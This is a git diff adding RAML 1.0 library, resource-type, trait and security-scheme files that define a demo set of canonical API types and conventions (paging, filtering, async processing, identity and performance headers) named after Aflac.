b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml new file mode 100644 index 0000000..2bd7df4 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-basic-questions-set.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + basic-questions-set: !include ../data-types/dataType-basic-questions-set.raml + basic-questions-sets: + displayName: Basic Questions Array + description: Basic Questions Array + type: basic-questions-set[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml new file mode 100644 index 0000000..0dd6e6f --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-code-description.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + code-description: !include ../data-types/dataType-code-description.raml + code-descriptions: + displayName: Code Descriptions123 + description: a collection of code descriptionsabc + type: code-description[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml new file mode 100644 index 0000000..ede44f2 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-contact-info.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + contact-information: !include ../data-types/dataType-contact-information.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml new file mode 100644 index 0000000..789943a --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-content.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 Library +types: + document-statistic: !include ../data-types/dataType-document-statistic.raml + content-data: !include ../data-types/dataType-content-data.raml + content-metadata: !include ../data-types/dataType-content-metadata.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml new file mode 100644 index 0000000..d5ed17e --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-context-and-preference.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 Library +types: + contextual: !include ../data-types/dataType-contextual.raml + preferable: !include ../data-types/dataType-preferable.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml new file mode 100644 index 0000000..a920d31 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-email.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + email-address: !include ../data-types/dataType-email-address.raml + email-addresses: + displayName: Email Addresses + description: A collection of email addresses + type: email-address[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml new file mode 100644 index 0000000..555c03d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-entity.raml @@ -0,0 +1,36 @@ +#%RAML 1.0 Library +uses: + master-lib: library-master-key.raml + source-lib: library-source.raml + property-lib: library-property.raml + +types: + entities: + displayName: Entities + description: an array of entities + type: entity[] + + entity: + displayName: Entity + description: Entity Description + type: object + additionalProperties: false + properties: + id: + required: false + type: master-lib.master-key + name: + required: false + type: string + type: + required: false + type: string + sources: + required: false + type: source-lib.sources + properties: + required: false + type: property-lib.properties + entities: + required: false + type: entities diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml new file mode 100644 index 0000000..9d99dec --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-error.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + error: !include ../data-types/dataType-error.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml new file mode 100644 index 0000000..2844c6c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-habit.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + habit: !include ../data-types/dataType-habit.raml + habits: + displayName: Habits + description: a collection of habits + type: habit[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml new file mode 100644 index 0000000..f9b615f --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-language.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + language: !include ../data-types/dataType-language.raml + languages: + displayName: Languages + description: A collection of languages + type: language[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml new file mode 100644 index 0000000..4791131 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-master-key.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + master-key: !include ../data-types/dataType-master-key.raml diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml new file mode 100644 index 0000000..f7af92e --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-organization.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 Library +types: + organization: !include ../data-types/dataType-organization.raml + organizations: organization[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml new file mode 100644 index 0000000..72a81c0 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-party.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Library +types: + party: !include ../data-types/dataType-party.raml + parties: + displayName: Parties + description: A collection of parties + type: party[] + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml new file mode 100644 index 0000000..d034861 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-performance.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 Library +types: + performance-node: !include ../data-types/dataType-performance-node.raml + performance-nodes: + displayName: Performance Nodes + description: A collection of performance nodes + type: performance-node[] + \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml new file mode 100644 index 0000000..4682654 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person-name.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 Library +types: + person-name: !include ../data-types/dataType-person-name.raml diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml new file mode 100644 index 0000000..d099c42 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-person.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + person: !include ../data-types/dataType-person.raml + persons: + displayName: Persons + description: A collection of persons + type: person[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml new file mode 100644 index 0000000..c260df9 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-phone.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + phone: !include ../data-types/dataType-phone.raml + phones: + displayName: Phones + description: A collection of phones + type: phone[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml new file mode 100644 index 0000000..bdb8711 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-property.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + property: !include ../data-types/dataType-property.raml + properties: + displayName: Entity Properties + description: A collection of entity properties + type: property[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml new file mode 100644 index 0000000..3952f5c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-role.raml @@ -0,0 +1,6 @@ +#%RAML 1.0 Library +types: + role: !include ../data-types/dataType-role.raml + roles: + displayName: Roles + type: role[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml new file mode 100644 index 0000000..334f702 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-social-media.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + social-media-account: !include ../data-types/dataType-social-media-account.raml + social-media-accounts: + displayName: Social Media Accounts + description: A collection of social media accounts + type: social-media-account[] \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml new file mode 100644 index 0000000..50d41a7 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-source.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + source: !include ../data-types/dataType-source.raml + sources: + displayName: Sources + type: source[] + \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml new file mode 100644 index 0000000..ad96cfc --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-traits.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 Library +traits: + selectable: !include ../traits/trait-selectable.raml + traceable: !include ../traits/trait-traceable.raml + routable: !include ../traits/trait-routable.raml + pageable: !include ../traits/trait-pageable.raml + filterable: !include ../traits/trait-filterable.raml + performance-monitorable: !include ../traits/trait-performance-monitorable.raml + sortable: !include ../traits/trait-sortable.raml + asynchronously-callable: !include ../traits/trait-asynchronously-callable.raml + identifyable: !include ../traits/trait-identifyable.raml \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml new file mode 100644 index 0000000..94f6f1c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/libraries/library-version.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 Library +types: + version: !include ../data-types/dataType-version.raml + versions: + displayName: Versions + description: A collection of versions + type: version[] diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml new file mode 100644 index 0000000..295999c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collection-actions.raml @@ -0,0 +1,51 @@ +#%RAML 1.0 ResourceType +displayName: Resource Type applicable to collection actions +usage: | + A collection action is a process that can be applied to a collection of resources. The action can only be taken with a POST. + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + traits: ../libraries/library-traits.raml + +post: + displayName: Execute an action on the selected records of a collection + description: Is used to execute an action on the selected records of a collection. + is: + - traits.selectable + - traits.filterable + - traits.pageable + - traits.sortable + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + examples: <> + application/xml: + examples: <> + responses: + 200: + description: The response when the operation is synchronously called. + body: + application/json: + examples: <> + application/xml: + examples: <> + 202: + description: The response when the operation is asynchronously called. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml new file mode 100644 index 0000000..a5a1393 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-collections.raml @@ -0,0 +1,157 @@ +#%RAML 1.0 ResourceType +displayName: Resource Type applicable to collections +usage: | + When using this resource type the name of the data type must match the name of the resource path which needs to be a noun in plural form. For example, if the resource path is /users then the data type must be called users. + + Every HTTP verb in this resource type has been defined as optional. Any combination of HTTP verbs can be chosen. Simply add the verb name under the resource path's type and provide the necessary examples. + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + traits: ../libraries/library-traits.raml + +post?: + displayName: Create new <> record(s) + description: Is used to add one or more <> records into the <> collection. Takes either a single <> object to create a single record or an array of <> objects to create multiple records. Can be called synchronously or asynchronously depending on the applied traits. + is: + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + type: <> | <> + examples: <> + application/xml: + type: <> | <> + examples: <> + responses: + 200: + description: The response when the operation is synchronously called. It returns the created record(s). + body: + application/json: + type: <> | <> | code-description-lib.code-descriptions + examples: <> + application/xml: + type: <> | <> | code-description-lib.code-descriptions + examples: <> + 202: + description: The response when the operation is asynchronously called. It returns the acknowledgement and confirmation codes if any. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +delete?: + displayName: Delete selected <> records from <> collection + description: Is used to delete selected <> records from <> collection. Can be synchronously or asynchronously called based on the applied traits. Accordingly, the response will show what has been deleted or what has been accepted to be deleted. + + is: + - traits.selectable + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + responses: + 200: + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 202: + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +get?: + displayName: Search <> records + description: Is used to search <> records by providing a selection criteria. The results can be sorted, paged and contents can be filtered based on the implementation. + is: + - traits.selectable + - traits.sortable + - traits.pageable + - traits.filterable + - traits.traceable + - traits.routable + - traits.performance-monitorable + responses: + 200: + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +patch?: + displayName: Partially updates selected <> records + description: Is used to partially update one or more <> records in the <> collection. Input is the partial <> record that includes only the element values which is used to update the selected records. Can be synchronously or asynchronously called based on the applied traits. + is: + - traits.selectable + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + responses: + 200: + description: The response when the patch operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place. + body: + application/json: + type: <> | code-description-lib.code-descriptions + examples: <> + application/xml: + type: <> | code-description-lib.code-descriptions + examples: <> + 202: + description: The response when the patch operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the requested has been accepted to be processed later. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml new file mode 100644 index 0000000..cbc1c7b --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-item-actions.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 ResourceType +displayName: Resource Type applicable to item actions +usage: | + An item action is a process that can be applied to specific resource. The action can only be taken with a POST. + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + traits: ../libraries/library-traits.raml + +post: + displayName: Execute an action on the specific record. + description: Is used to execute an action on the specific record + is: + - traits.filterable + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + examples: <> + application/xml: + examples: <> + responses: + 200: + description: The response when the operation is synchronously called. + body: + application/json: + examples: <> + application/xml: + examples: <> + 202: + description: The response when the operation is asynchronously called. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml new file mode 100644 index 0000000..e8a23f9 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-applicable-to-items.raml @@ -0,0 +1,154 @@ +#%RAML 1.0 ResourceType +displayName: Resource Type applicable to collection items +usage: | + When using this resource type the name of the data type must match the name of the resource path which needs to be a noun in singular form. For example, if the resource path is /users/{user-id} then the data type must be called user. + + Every HTTP verb in this resource type has been defined as optional. Any combination of HTTP verbs can be chosen. Simply add the verb name under the resource path's type and provide the necessary examples. + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + traits: ../libraries/library-traits.raml + + + +delete?: + displayName: Delete the specific <> record + description: Is used to delete the specific <> record. Can be synchronously or asynchronously called based on the applied traits. Accordingly, the response will show what has been deleted or what has been accepted to be deleted. + + is: + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + responses: + 200: + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 202: + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +get?: + displayName: Retrieves specific <> record + description: Is used to retrieve a specific <> record. The content can be filtered based on the implementation. + is: + - traits.filterable + - traits.traceable + - traits.routable + - traits.performance-monitorable + responses: + 200: + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +patch?: + displayName: Partially updates specific <> record + description: Is used to partially update specific <> record. Input is the partial <> record that includes only the element values which is used to update the specific record. Can be synchronously or asynchronously called based on the applied traits. + is: + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + responses: + 200: + description: The response when the patch operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place. + body: + application/json: + type: <> | code-description-lib.code-descriptions + examples: <> + application/xml: + type: <> | code-description-lib.code-descriptions + examples: <> + 202: + description: The response when the patch operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the request has been accepted to be processed later. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error + +put?: + displayName: Fully updates specific <> record + description: Is used to fully update specific <> record. Input is the full <> record that includes all element values which are used to update the specific record. Can be synchronously or asynchronously called based on the applied traits. + is: + - traits.asynchronously-callable + - traits.traceable + - traits.routable + - traits.performance-monitorable + + body: + application/json: + type: <> + examples: <> + application/xml: + type: <> + examples: <> + responses: + 200: + description: The response when the put operation is synchronously called. It returns the partially updated record(s) or a code that explains what has taken place. + body: + application/json: + type: <> | code-description-lib.code-descriptions + examples: <> + application/xml: + type: <> | code-description-lib.code-descriptions + examples: <> + 202: + description: The response when the put operation is asynchronously called. It returns list of codes that includes acknowledgements and confirmations that the request has been accepted to be processed later. + body: + application/json: + type: code-description-lib.code-descriptions + examples: <> + application/xml: + type: code-description-lib.code-descriptions + examples: <> + 500: + body: + application/json: + type: error-lib.error + application/xml: + type: error-lib.error diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml new file mode 100644 index 0000000..24e4f08 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/resource-types/resourceType-get-health-check.raml @@ -0,0 +1,39 @@ +#%RAML 1.0 ResourceType + + +uses: + error-lib: ../libraries/library-error.raml + code-description-lib: ../libraries/library-code-description.raml + +get: + displayName: GET Health Check Resource + description: This resource is used by all APIs which has a /health-check resource path at its root and takes certain actions to validate its and its dependent components' health condition. + headers: + aflac-detailed-health-check-switch: + required: false + displayName: Detailed Health Check Flag + description: If the value is provided as On, the health of all dependencies will be checked. Otherwise, the dependencies will not be checked. + enum: + - On + - Off + default: Off + + responses: + 200: + description: On success the response will return an array of code descriptions with information regarding the health of the API and its subcomponents' health. + body: + + application/json: + type: code-description-lib.code-descriptions + examples: !include ../examples/example-get-health-check.raml + application/xml: + type: code-description-lib.code-descriptions + examples: !include ../examples/example-get-health-check.raml + 500: + body: + application/json: + type: error-lib.error + examples: !include ../examples/example-error.raml + application/xml: + type: error-lib.error + examples: !include ../examples/example-error.raml diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml new file mode 100644 index 0000000..8882bfb --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/security-schemes/securityScheme-basic.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 SecurityScheme +type: + Basic Authentication +description: This security scheme should be used in case of client Id and client secret secured API \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml new file mode 100644 index 0000000..f86121c --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-asynchronously-callable.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 Trait +description: Asynchronously callable trait allows a request to be submitted and a response returned without completing the processing of that request + +headers: + aflac-asynchronous-processing: + displayName: Aflac Processing Style + description: | + Set this header value to true to indicate to the provider that request processing should be executed asynchronously if available. + type: boolean + required: false + default: true + example: true \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml new file mode 100644 index 0000000..8b2e6fa --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-filterable.raml @@ -0,0 +1,19 @@ +#%RAML 1.0 Trait + +queryParameters: + filter: + description: the comma delimited names of the fields that need to be included or excluded in a returned record. A single value of a container may also be passed in which case the filter type must be set to "Canned". The names of fields and canned filters need to be documented separately by the API owner. + type: string + required: false + examples: + fieldNamesExample: person.name.first, person.name.last, person.dob + cannedExample: personBioMetricFields + + filter-type: + description: the flag that indicates whether the names in the filter value are to be included or excluded. "In" means included and "Out" means excluded. "Canned" means that the filter values are not comma delimited and the single value of the filter represents a container where the field anmes are stored. If not provided, "In" is default. + enum: + - In + - Out + - Canned + type: string + required: false \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml new file mode 100644 index 0000000..5623283 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-identifyable.raml @@ -0,0 +1,50 @@ +#%RAML 1.0 Trait + +#uses: +# name-value-lib: ../libraries/library-name-value-pair.raml + +displayName: Identifyable +description: Identifyable trait provides a header called aflac-identity-fields which can pass several different types of identity tokens and identity related information to a service. + +headers: + aflac-identity-fields: + displayName: Aflac Identity Fields + description: | + Is a JSON object which contain an array of typed name value pairs. Any kind of identity information can be passed using the array. + required: false + type: string + examples: + oAuth-example: '[{"type": "oAuth2-access-token", "value": "Bfrdget3456iuyge+Og=="}]' + username-password-example: | + '[ + {"type": "encrypted-username", "value": "Sgrfqwt$34s5465asgfv56"}, + {"type": "encrypted-password", "value": "87623uhvbuberc754^%$yvygwed"}, + {"type": "encryption-certificate-serial-number-in-dec", "value": "351686516876516213213546987984965163216"} + ]' + +# The below section is commented out due to a limitation in Design Center. +# When Headers are assigned a type of object the validation misinterprets and fails. +# Until this is resolved, further headers will be of simple type, even the values can be object representations +# type: typed-name-value-pairs +# examples: +# oAuth-example: +# value: +# - type: oAuth2-access-token +# value: Bfrdget3456iuyge+Og== +# username-password-example: +# value: +# - type: encrypted-username +# value: Sgrfqwt$34s5465asgfv56 +# - type: encrypted-password +# value: 87623uhvbuberc754^%$yvygwed +# - type: encryption-certificate-serial-number-in-dec +# value: "351686516876516213213546987984965163216" +# multiple-field-example: +# value: +# - type: oAuth2-access-token +# value: Bfrdget3456iuyge+Og== +# - type: passive-saml-token +# value: 87623uhvbuberc754yvygwedjhgaskdjgfiuwe8976539gkhegf +# - type: encryption-certificate-serial-number-in-dec +# value: "351686516876516213213546987984965163216" + diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml new file mode 100644 index 0000000..80afe9d --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml @@ -0,0 +1,40 @@ +#%RAML 1.0 Trait +description: | + If an API has the pageable trait, the consumer can control the pagination properties in query parameters. + If the consumer does not provide pagination query parameters, default values will be used by the provider. + Provider will always populate response header values to inform the consumer. + +queryParameters: + page-number: + displayName: Page Number + description: Number of the page that is requested + type: integer + required: false + example: 20 + default: 1 + page-size: + displayName: Page Size + description: Number of the items in one page + type: integer + required: false + example: 80 + default: 10 + +responses: + 200: + headers: + aflac-page-number: + description: Number of the page that is returned + type: integer + required: true + example: 20 + aflac-page-size: + description: Number of the items in one page + type: integer + required: true + example: 80 + aflac-total-paged-item-count: + description: Total number of all items that are found by the selection criteria + type: integer + required: true + example: 8000 \ No newline at end of file diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml new file mode 100644 index 0000000..71fc362 --- /dev/null +++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml @@ -0,0 +1,31 @@ +#%RAML 1.0 Trait + + +headers: + aflac-performance-report: + description: | + Performance monitorable trait is designed to provide real-time information to a consumer about the performance and status of each node in an integration implementation. + This collection of these metrics can be activated by the consumer by setting the "active" to true. + Currently, this field is defined as a string but the contents are a JSON object as shown in the example. + The complete information what this JSON Obejct looks like and how it can be used is documented in dataType-performance-report.raml fragment. + + displayName: Aflac Performance Report + required: false + type: string + example: | + '{ + "active": true, + "ns": + [ + {"n": "ConsumerMachine","c": "Provider A","t": 1230000000000,"d": "dQ"}, + {"n": "Server1","c": "Provider A","t": 1230000000150,"d": "uQ"}, + {"n": "ConsumerMachine","c": "Provider A","t": 123000005400,"d": "uS","s":"200"}, + {"n": "ConsumerMachine","c": "Provider A","t": 1230000000000,"d": "dQ","s":"200"} + ] + }' + +# The below section is 